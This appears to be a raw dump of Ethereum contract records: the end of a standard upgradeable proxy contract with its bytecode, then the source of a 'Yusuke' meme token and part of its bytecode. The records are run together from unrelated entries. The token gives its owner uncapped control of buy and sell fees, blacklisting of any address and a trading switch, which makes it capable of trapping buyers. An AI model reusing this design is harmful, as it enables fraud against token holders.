We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,702
0xd9f8f8091d34fd9cc049ca47d5f014df1179e123
/** YUSUKE URAMESHI SPIRIT DETECTIVE! SPIRIT GUN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ████ ██ ██ ██ ██ ████░░ ▒▒▒▒ ▓▓░░ ▒▒ ░░▒▒░░ ▒▒ ████████ ██ ██░░▓▓ ▓▓▓▓ ▓▓▒▒ ▒▒ ▒▒░░▒▒ ▒▒ ██▓▓██ ▓▓████▓▓▓▓▓▓▓▓▓▓▓▓ ██ ▓▓ ▓▓▓▓ ▓▓▒▒ ▒▒ ▒▒ ▒▒ ▒▒ ██▓▓██ ░░░░░░ ░░ ░░██ ████▒▒ ▓▓▓▓ ▓▓▒▒░░▒▒ ▒▒░░▒▒ ▒▒ ██▓▓██ ░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░▓▓░░▓▓ ▓▓▓▓ ▓▓░░▒▒▒▒░░▒▒ ▒▒ ▒▒ ██▓▓██ ░░ ██▒▒▒▒ ▒▒██ ░░ ▓▓ ▓▓░░▓▓▓▓ ▓▓ ▒▒▓▓ ▒▒ ▒▒ ░░ ██▓▓██ ░░▒▒██░░ ░░ ░░░░░░▓▓▓▓▓▓▒▒▒▒▓▓░░▓▓░░░░▒▒░░▒▒▒▒▒▒ ▒▒ ██▓▓██ ░░██ ██▓▓██ ▓▓██ ██▓▓██ ██ ██████▒▒▓▓▓▓▒▒██ ░░ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract YusukeUrameshi is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Yusuke"; string private constant _symbol = "Yusuke"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 0; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 0; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x9F1623538f2ec71225753b732242bCc9F1cacBF9); address payable private _marketingAddress = payable(0x9F1623538f2ec71225753b732242bCc9F1cacBF9); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 1000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d51565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e22565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e7a565b61087b565b6040516102649190612ed5565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f4f565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f79565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f94565b6108cf565b6040516102f79190612ed5565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f79565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d9190613003565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b604051610378919061302d565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613048565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130a1565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613048565b610c50565b60405161041e9190612f79565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130ce565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f79565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613048565b610e99565b6040516104c69190612f79565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f1919061302d565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130a1565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f79565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e22565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130ce565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c491906130fb565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e7a565b611125565b6040516105ff9190612ed5565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613048565b611143565b60405161063c9190612ed5565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131bd565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a7919061321d565b611376565b6040516106b99190612f79565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130ce565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613048565b61149c565b005b61071c61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132a9565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132c9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613327565b9150506107ac565b5050565b60606040518060400160405280600681526020017f597573756b650000000000000000000000000000000000000000000000000000815250905090565b600061088f61088861165d565b8484611665565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc84848461182e565b61099d846108e861165d565b61099885604051806060016040528060288152602001613d6760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b19092919063ffffffff16565b611665565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132a9565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132a9565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165d565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165d565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d81612115565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612181565b9050919050565b610ca961165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132a9565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132a9565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600681526020017f597573756b650000000000000000000000000000000000000000000000000000815250905090565b610fd761165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132a9565b60405180910390fd5b8060188190555050565b61107661165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132a9565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165d565b848461182e565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165d565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112026116